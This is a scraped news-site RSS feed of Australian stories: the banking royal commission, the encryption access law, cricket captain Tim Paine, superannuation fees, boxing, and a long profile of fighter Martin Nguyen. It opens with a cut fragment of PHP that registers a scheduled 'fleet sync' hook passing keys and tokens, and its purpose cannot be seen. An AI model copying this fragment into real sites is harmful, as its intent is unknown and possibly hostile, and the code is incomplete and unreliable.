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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Australia’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 10 Feb 2019 19:19:06 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Australia’s – Brief News https://briefnews.eu 32 32 A commission of inquiry reaches a damning verdict on Australia’s banks https://briefnews.eu/a-commission-of-inquiry-reaches-a-damning-verdict-on-australias-banks/ https://briefnews.eu/a-commission-of-inquiry-reaches-a-damning-verdict-on-australias-banks/#respond Sun, 10 Feb 2019 19:19:06 +0000 http://briefnews.eu/a-commission-of-inquiry-reaches-a-damning-verdict-on-australias-banks/ Yet the forced restructuring banks had feared is off the cards

]]> https://briefnews.eu/a-commission-of-inquiry-reaches-a-damning-verdict-on-australias-banks/feed/ 0 Paine’s presence steeling Australia’s future https://briefnews.eu/paines-presence-steeling-australias-future/ https://briefnews.eu/paines-presence-steeling-australias-future/#respond Mon, 17 Dec 2018 15:46:20 +0000 http://briefnews.eu/paines-presence-steeling-australias-future/ The ever-growing presence of Tim Paine as Test captain is giving his teammates the sort of confidence that could carry an emerging group to bigger and better things.

In just is fourth outing as Test captain, Paine made a statement in Perth with a feisty second innings batting effort that included a verbal back and forth with his Indian counterpart Virat Kohli.

Paine, who before the series began said being liked was never part of his mantra, stood his ground as Kohli tried to impart his own presence as the Aussies fought to maintain a winning edge.

Then when he took the gloves, Paine maintained his vocal efforts, and his classic “you can’t really like him” sledge to Kohli’s teammate Murali Vijay went viral.

Paine’s vice-captain Josh Hazlewood said it was evidence of a player, and person, growing in confidence in a role he was given out of nowhere.

But as a person with bountiful life experience, Hazlewood said Paine, who just turned 34, had the potential to continue to grow as a leader as Australian cricket looks to turn around its on and off-field persona.

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“I think he is getting more confident as time goes on. He’s quite an experienced player, as far as he’s been playing for a long time. He’s had time out of the game too, so he knows himself quite well, not just as a cricketer but as a person,” Hazlewood said.

“Off the field he is great to talk to about life as well. The cricket side takes care of itself.”

Paine also earned praise from one of Australia’s greatest ever captains, Allan Border.

“He’s doing everything fantastically well,” Border told Cricket 360.

Hazlewood praised Paine’s calm, clear-thinking manner, which was on show during two solid innings with the bat, including a second dig of 37, batting when the wicket, and the match, was most volatile.

“He keeps things quite calm and composed,” Hazlewood said.

“He doesn’t get too flustered any stage really. You could see that with the bat today. And in the field he leads very well, nice and calm. He’s been really great.”

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The Australian government has passed the controversial Access and Assistance Bill 2018 into law. Since it gives authorities the right to demand access to encrypted forms of communication and to slap companies that refuse to cooperate with fines up to $ 7.3 million, it prompted tech giants like Apple to voice their opposition. Cupertino criticized the vague wording of its current version, pointing out that it gives the government “overly broad powers that could weaken cybersecurity and encryption.”

ZDNet explains that the new law will give the Australian government the power to issue three kinds of notices:

  1. Technical Assistance Notices: These can require communication providers to use an interception technology they already have.
  2. Technical Capability Notices: These can require communication providers to build new interception capabilities that can meet the requirements needed to be able to comply with Assistance Notices. Tech giants consider this the most contentious, since it could force them to build tools such as encryption backdoors.
  3. Technical Assistance Requests: These are, apparently, voluntary requests, which companies can comply with or turn down without the risk of being penalized.

Australia’s Labor political party originally proposed a number of amendments due to concerns that providing access to encrypted communications could weaken the country’s security. However, the Parliament ended up passing the bill as it is on its last day before the summer break. According to Opposition Leader Bill Shorten, the party wanted to give the country’s intelligence community the tools they need as soon as possible. Thus, they agreed to vote for the bill’s approval in exchange for the government passing those amendments in the first week of 2019.

That said, it’s not entirely clear if the Australian government will incorporate the changes Labor proposed into the law. Attorney-General Christian Porter said it all depends on whether those amendments “genuinely reflect the recommendations of the parliamentary joint committee on intelligence and security.”

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]]> https://briefnews.eu/australias-controversial-anti-encryption-bill-passes-into-law/feed/ 0 Australia’s biggest banks are in the dock https://briefnews.eu/australias-biggest-banks-are-in-the-dock-2/ https://briefnews.eu/australias-biggest-banks-are-in-the-dock-2/#respond Mon, 08 Oct 2018 03:17:37 +0000 http://briefnews.eu/australias-biggest-banks-are-in-the-dock-2/ A commission of inquiry finds a litany of abuses

]]> https://briefnews.eu/australias-biggest-banks-are-in-the-dock-2/feed/ 0 Australia’s biggest banks are in the dock https://briefnews.eu/australias-biggest-banks-are-in-the-dock/ https://briefnews.eu/australias-biggest-banks-are-in-the-dock/#respond Fri, 05 Oct 2018 04:43:11 +0000 http://briefnews.eu/australias-biggest-banks-are-in-the-dock/

BANKS often face conflicts of interest when it comes to advising their customers. The regulators who are supposed to stop the abuses that can result are not always up to the job. But when wrongdoing does finally come to light, the penalties can be vast. Financial institutions in Britain have had to lay aside £40bn ($ 52bn) to compensate customers mis-sold payment protection insurance. Wells Fargo was fined $ 1bn by American regulators and ordered to reimburse the people to whom it had sold useless insurance or mortgages with inflated fees. Now it is the turn of Australian banks to face a reckoning.

A royal commission has exposed a litany of abuses. Its interim report, published on September 28th, paints the country’s financial institutions as consumer-crushing oligopolies. Lenders charged hidden fees long after providing services, and for some services they never provided at all, on occasion to people who were dead. They siphoned off at least A$ 1bn ($ 720m) of compulsory pension…

]]> https://briefnews.eu/australias-biggest-banks-are-in-the-dock/feed/ 0 Australia’s Ban on Huawei Is Just More Bad News for China https://briefnews.eu/australias-ban-on-huawei-is-just-more-bad-news-for-china/ https://briefnews.eu/australias-ban-on-huawei-is-just-more-bad-news-for-china/#respond Fri, 24 Aug 2018 23:05:07 +0000 http://briefnews.eu/australias-ban-on-huawei-is-just-more-bad-news-for-china/ The move reflects US influence, and Australia’s tense, complicated relationship with China.


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After the newly elected leader of the Liberal Party Scott Morrison was picked to become Australia’s new prime minister, deposed Malcolm Turnbull noted that he would be leaving politics “not before too long.” Once he resigns, his Sydney mandate would be up for grabs, which could see the ruling coalition lose its one-seat majority in parliament. Morrison emerged victorious in the leadership vote on Friday after a three-way race with former home affairs minister Peter Dutton and Foreign Minister Julie Bishop. Turnbull himself had withdrawn his candidacy after having barely survived the previous leadership challenge on Tuesday.

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High fees down under

PAUL KEATING, a former prime minister of Australia, calls the country’s superannuation system “the envy of the developed economies”. In many ways, it is. The “super”, as Aussies call their private-pension provision, was a crowning achievement of Mr Keating’s premiership. In 1992 he made it compulsory for employers to set aside 3% of all but the very lowest-income workers’ wages. The payment has since crept up to 9.5%, and, by law, will rise further in 2021.

Today 15m working Australians are sitting on a nest-egg for retirement. With assets of about A$ 2.6trn ($ 1.9trn), their private-pension pot has grown into one of the largest in the world. It is almost universal, which should relieve pressure on the means-tested public-pension system. Australia, in other words, has less reason to panic about supporting retiring baby-boomers than most other countries.

Yet pride is not the only emotion the system evokes. In December 2017, prompted…

]]> https://briefnews.eu/australias-lauded-private-pension-system-is-under-scrutiny/feed/ 0 America calling for Australia’s next boxing superstar https://briefnews.eu/america-calling-for-australias-next-boxing-superstar/ https://briefnews.eu/america-calling-for-australias-next-boxing-superstar/#respond Sun, 22 Jul 2018 17:15:53 +0000 http://briefnews.eu/america-calling-for-australias-next-boxing-superstar/ A WORLD title fight and a potential world champion will headline a massive boxing card at Eveleigh in Sydney on Friday week.

Billy “The Kid” Dib (43-4) will fight Tevin “American Idol” Farmer (24-5-1) for the IBF-mandated super featherweight title, while rising bantamweight star Brock Jarvis will attempt to continue his surge up the boxing ranks on the same card.

Jarvis took his record to 14-0 with a round-one KO of Suriya Keawkhao in Bangkok last week. He will fight hardened Yotchanchai Yakaeo on Friday week.

Dib and Jarvis are both trained by legendary Hall of Famer Jeff Fenech.

Kostya Tszyu’s son Tim will also fight on the card at Technology Park, as will super-middleweight Isaac Buckley, who will fight for the NSW title.

Jarvis, 20, is starting to attract media attention in America.

“I’m very confident because of the way I train,” Jarvis said. “I train very hard and feel I’m always ready. I have the best corner and the best people around me.

“I’m just doing what I normally do — stick to my routine and listen to my corner and don’t believe your own hype. Jeff believes I can get a title shot next year but I don’t worry about that. I just have to show up every day and do my work.

“World titles don’t come easy. I just have to be patient and be ready when I get the chance.”

Tim Tszyu is unbeaten in his nine professional fights.

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]]> https://briefnews.eu/america-calling-for-australias-next-boxing-superstar/feed/ 0 Australia’s unknown two-division world champion https://briefnews.eu/australias-unknown-two-division-world-champion/ https://briefnews.eu/australias-unknown-two-division-world-champion/#respond Thu, 17 May 2018 05:34:33 +0000 http://briefnews.eu/australias-unknown-two-division-world-champion/ HE’S the undisputed, but relative unknown, champion of the world.

His face is on billboards across Asia and he has thousands of adoring fans.

Yet back home, Martin Nguyen is virtually unrecognisable.

A man with championship belts in two divisions – a feat achieved by only a select few in the world of martial arts, such as

UFC megastars Conor McGregor and Georges St Pierre – Nguyen can stroll down the streets of Liverpool in Sydney’s west and virtually not be acknowledged.

But Nguyen couldn’t care less.

In fact, he prefers anonymity.

“In a way, it works out better for me,” Nguyen said, as he prepares to defend his featherweight belt against local hope Christian Lee at One Championship Unstoppable Dreams in Singapore on Friday night.

“I don’t want to be known as the actual world champion… a lot of people judge, especially back home.

“It’s good that no-one knows who I am. I can do my own thing and not be judge for it.

“There’s people who know me back home and they say ‘that’s the fighter’ and it’s still seen as barbaric. So in terms of the fans, I’m not too fussed.

“They’ll eventually know more about me and the journey I’m on.

“I’m not in this for the fame.”

Like Nguyen’s career, which has already garnered 10 wins, two losses and life-changing lightweight and featherweight belts, One Championship is also on the upward trajectory in terms of world dominance.

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And Nguyen knows that one day, as he plots to become the first man in One Championship history to own three-divisional straps, he will earn the credit he deserves.

“If the day comes, it comes,” a humble Nguyen said, relaxed on the third floor of the Mercure Hotel in Singapore.

“There’s no advantages or disadvantages. I’m no better than anyone else I’m just a hard-working person.”

Born and raised in Bankstown to Vietnamese parents, Nguyen is your typical knockabout lad from the suburbs.

Rugby league was his sport of choice as a youngster, plying his trade as a six-year-old.

The kids next door – rugby league fanatics and diehard St George supporters – would toss the ball around in the back yard, making it an enticing proposition for Nguyen.

Soon he was part of the fun, and not even 12 months later, he was in the thick of the action.

“My neighbours asked my mum, “when are you going to let him come and play?” Nguyen recalled.

“Then it went from tossing the ball around to playing competitively. My first team was the Liverpool Catholic Club in the under-8s and I played their for a year, then it merged to Liverpool City.”

An emerging talent, Nguyen was soon making waves for Western Suburbs in senior rugby.

A dashing halfback and captain of his club side, Nguyen was a respected athlete, but only “half decent” by his own humble standards.

In the early part of his career, the athletic Nguyen was cut down by injury.

The list was long; sprained knees, broken and jarred fingers and thumbs and rolled ankles.

But the most devastating injury was a dislocated shoulder, a problem he still deals with to this day.

“That was what made me hang up the boots,” Nguyen said.

“I was playing at school, and we’d play at recess and lunchtime and there was supposed to be no tackling or anything, but with boys at an all-boys school there was a little ego and testosterone and we started playing tackle.

“One of my good friends was running the ball, and he was a big guy compared to what I was, so I thought I’d tackle him low and when I did I popped my shoulder out.

“It popped straight back in but it was excruciating pain. I went the whole day with it, but that afternoon I went to catch a ball and the hooker through the ball high and it popped out again.

“I’d go to sleep and I’d wake up in agony. It would just pop out in my sleep.

“I saw a specialist when I was in Year 12 and he said ‘you need a reconstruction’ and I said ‘I’m not having surgery’, so I decided to hang the boots up.”

As part of rehab, Nguyen hit the gym to “pump the weights”.

That lasted about 12 months before he was introduced to Fari Salievski’s KMA black belt school in Liverpool.

Salievski is one of the best in the business.

Teaching since 1982, Salievski is regarded as the No.1 coach in Asia.

A martial arts master, he boasts an amazing team that comprises Nguyen, three-time Australian champion Theo Christakos, UFC veteran Brian Ebersole and a host of others.

According to Nguyen, the inspiration to walk into the doors at KMA was the booming UFC brand and its hero Royce Gracie.

“Royce was tapping everyone out,” reflected Nguyen.

“My neighbour was training taekwondo at KMA and he said ‘we’re going jiu jitsu, you should come and try it out.

“At the time I was umming and arring and I didn’t know if I’d go. In the end I thought ‘I’ll go. I’ve got nothing to lose.”

Nguyen arrived at the George St gym to a rude awakening.

“I was in tracksuit pants and everyone was in a Gi,” Nguyen said.

“I had socks and shoes on and I walked upstairs and said ‘I want to train’ and Fari said ‘we’re about to start’.

“I was like ‘what are these guys wearing’. We got into training and I gassed out straight away. I didn’t even know what an armbar was and I was like ‘there you go’.

“It was something very new to me, but I felt very welcome.”

Salievski described his newest addition as a “virgin in martial arts” but immediately took him under his wing.

“He pushed himself harder than most because of his competitive nature,” said Salievski, who Nguyen refers to as “Sir”.

“It’s the kind of style that humbles you, but for him to come back to training, he was really challenged. He was after a challenge and he found it.”

With a grounding in BJJ, amateur fighting soon became on Nguyen’s radar.

Members of the gym were “punching on out the back” and he wanted in.

“I was telling Sir ‘I want to be in there’,” Nguyen said.

“He told me ‘just train hard and I’ll let you know when’.

“I started kickboxing classes and wherever they went I tried to join in. One day I got invited to the back and I got belted so hard.

“I thought ‘I don’t think I’m going to come back tomorrow’.”

Nguyen remembers it like it was yesterday.

Pulling his head gear on and biting into his mouth guard, he climbed between the ropes to spar with Nihad Hrnjic.

A student of Salievski, Hrnjic was “hard as nails” and tipped the scales at 90kgs.

Nguyen, ringing wet, was less than 85kg.

“He was a beast,” Nguyen said.

“He just keep jabbing me and my head was bouncing off his glove.

“I didn’t even land a punch. I was hitting air more than body.

“I only had that one round and I was finished. I thought ‘this is way out of my comfort zone.

“I went home and I thought ‘is this for me?’”

Months later he took part in a Royce Gracie jiu jitsu tournament, where he won three fights.

With his hand raised, Nguyen suddenly had a thirst for the sport.

His initiation was C Grade MMA, where the competitors wore pads and head gear.

Nguyen had four fights, for four victories, and entered another amateur tournament.

Qualifying for the welterweight final, he was lined up against fearsome American boxer Maurice Llewellyn, who had been “knocking everyone out”.

Sitting on his stool in the corner, Salievski barked orders: “First chance you get I want you to tackle him. Put him on the ground, I don’t want him to hit you,” Salievski said.

“Martin put him on the ground and it was over”.

Nguyen added: “I had him in an armbar and I heard three cracks. I was reefing his arm and extending and it was cracking, cracking, cracking.

“But he literally wasn’t tapping. The fight went into the second round and he took me down. I reversed it and got a second armbar and he tapped.”

Nguyen’s cage debut followed, meeting Ryan McGuire at the St Mary’s Band Club in Sydney’s west.

Kitted out and with his hands wrapped, Nguyen was in for a major disappointment.

“The promoter came in and said: ‘Martin, you’re not fighting tonight’,” Nguyen recalled.

“My opponent didn’t get his bloods done, so they cancelled my fight and I had family and everyone there for my debut.”

A week later, Nguyen was rematched against McGuire at welterweight on a different promotion.

The bout didn’t last long, with Nguyen unleashing a vicious ground and pound to finish his opponent inside the first round.

Six days later Nguyen was back in the ring, fighting in Fearless 3 in Blacktown at lightweight.

Gunning for the finish, Nguyen dislocated his right shoulder but he managed to put it back in to later claim victory via rear-naked choke.

With nine-straight amateur wins under his belt, the major local promotions were beginning to take notice.

Nguyen stepped onto the Brace canvas as a 21-year-old, defeating Aussie Richard Kemp-Hay.

A win followed against Australian Thomas Ruderman, which Salievski described as “the making” of Nguyen as a professional fighter.

“That was the fight that changed Martin Nguyen,” Salievski said.

“That guy was tapping everyone out. He was a whiz on the ground and he was choking everyone out.

“Even the promoter said ‘why are you putting Martin in this fight? Are you sure you want to put him in there?

“In the end, it was the most violent fight. In fact, Martin ended his career.

“He has never fought since.”

Nguyen conquered fellow New South Welshman James Mullarkey in a grudge match, setting up a title shot at Brace.

Nguyen defeated Luke Standing via KO in the first round, subsequently opening the door to One Championship.

He penned the contract in December of 2013, but didn’t make his debut until November the following year.

The reason? A pimple on his chest.

It developed into a nasty infection, forcing Nguyen to undergo surgery.

Just a week after receiving a number of stitches, the wound opened up in training, forcing him back to hospital.

“I went home, jumped out of the car and it opened up again,” Nguyen said, shaking his head.

“So I went back to hospital and they stitched it up and I had to pull out of my fight (with Bruno Pucci at One FC 16).

“I had a D cup on one side and an A cup on the other and it was completely filled with puss. It was a bad staph infection and that’s why I covered my chest.”

A tattoo masks most of the damage, but the pain and suffering is visible.

“It was ugly,” Nguyen admitted.

Eventually he made his long-awaited appearance against Filippino Rocky Batolbatol, winning the featherweight bout via submission.

The remainder of Nguyen’s career is well documented.

He lost to Russian Marat Gafurov at One Championship Odyssey of Champions in 2015 before going on a six-fight win streak, claiming the featherweight and lightweight titles along the way.

The first man in One history to hold two-divisional belts, Nguyen came within a whisker of a third strap in March when he suffered a controversial split-decision defeat to Bibiano Fernandes in Thailand.

As Salievski puts it, “one judge got in the way of us creating history”.

Asked how he felt about the loss two months on, Nguyen replied: “I’ve learnt to get over it.

“Look, I didn’t get to enjoy my holiday, it was burning me that much.

“It was that feeling of having something you’ve worked so hard for, taken away.

“I didn’t know how to deal with it. As much as I’ve re-watched the fight, it’s not going to change the result.

“I’ll just get back into training and prove to everyone that I can do it.”

What hurts more is Nguyen is convinced he won the fight.

“Even Bibiano was asking his trainers, ‘did I win the fight?’

“When they announced his name he was so surprised. At the end of the day, history is history but if I had of won by split decision I would definitely give him an immediate rematch to prove I am the champion.”

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